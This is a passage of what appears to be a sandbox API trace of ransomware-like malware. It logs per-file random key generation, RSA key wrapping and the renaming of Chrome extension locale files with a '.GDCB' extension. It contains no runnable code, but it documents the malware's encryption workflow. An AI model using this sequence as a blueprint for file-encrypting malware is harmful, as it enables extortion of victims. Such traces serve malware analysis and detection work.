hKey=0x6792ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0261.983] GetLastError () returned 0x0 [0261.983] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0261.983] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0261.985] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792d20) returned 1 [0261.985] CryptGetKeyParam (in: hKey=0x6792d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0261.985] CryptEncrypt (in: hKey=0x6792d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0261.985] GetLastError () returned 0x0 [0261.985] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0261.985] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0261.986] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0261.989] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0261.991] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.001] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.023] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0262.028] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.034] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.034] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.034] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.038] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.038] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.038] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.038] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.041] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792be0) returned 1 [0262.041] CryptGetKeyParam (in: hKey=0x6792be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.041] CryptEncrypt (in: hKey=0x6792be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.041] GetLastError () returned 0x0 [0262.041] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.041] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.043] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792f20) returned 1 [0262.043] CryptGetKeyParam (in: hKey=0x6792f20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.043] CryptEncrypt (in: hKey=0x6792f20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.043] GetLastError () returned 0x0 [0262.043] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.043] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.044] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.049] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.058] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.069] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0262.075] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.078] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.080] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.080] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.080] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.080] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.083] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.084] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.085] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.085] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.085] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0262.087] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792ba0) returned 1 [0262.087] CryptGetKeyParam (in: hKey=0x6792ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.087] CryptEncrypt (in: hKey=0x6792ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.087] GetLastError () returned 0x0 [0262.087] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.087] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.089] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792b20) returned 1 [0262.089] CryptGetKeyParam (in: hKey=0x6792b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.089] CryptEncrypt (in: hKey=0x6792b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.090] GetLastError () returned 0x0 [0262.090] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.090] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.091] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.094] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.096] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.105] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.111] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0262.116] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.119] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.121] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.121] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.122] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0262.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.126] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.126] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.127] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.129] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792e60) returned 1 [0262.129] CryptGetKeyParam (in: hKey=0x6792e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.129] CryptEncrypt (in: hKey=0x6792e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.129] GetLastError () returned 0x0 [0262.129] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.129] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.131] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792d60) returned 1 [0262.131] CryptGetKeyParam (in: hKey=0x6792d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.131] CryptEncrypt (in: hKey=0x6792d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.131] GetLastError () returned 0x0 [0262.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.131] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.132] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.135] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.137] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.146] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.154] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.gdcb")) returned 1 [0262.159] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.162] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.164] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.164] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.164] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.164] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.166] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.169] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.169] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.169] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.169] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.172] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792c60) returned 1 [0262.172] CryptGetKeyParam (in: hKey=0x6792c60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.172] CryptEncrypt (in: hKey=0x6792c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.172] GetLastError () returned 0x0 [0262.172] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.172] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0262.174] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792da0) returned 1 [0262.174] CryptGetKeyParam (in: hKey=0x6792da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.174] CryptEncrypt (in: hKey=0x6792da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.174] GetLastError () returned 0x0 [0262.174] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.174] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.176] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.179] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.182] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.191] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.199] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.gdcb")) returned 1 [0262.205] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.210] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.211] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.211] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.211] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.215] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.215] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.215] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.216] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0262.218] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67929e0) returned 1 [0262.218] CryptGetKeyParam (in: hKey=0x67929e0, dwParam=0x8, 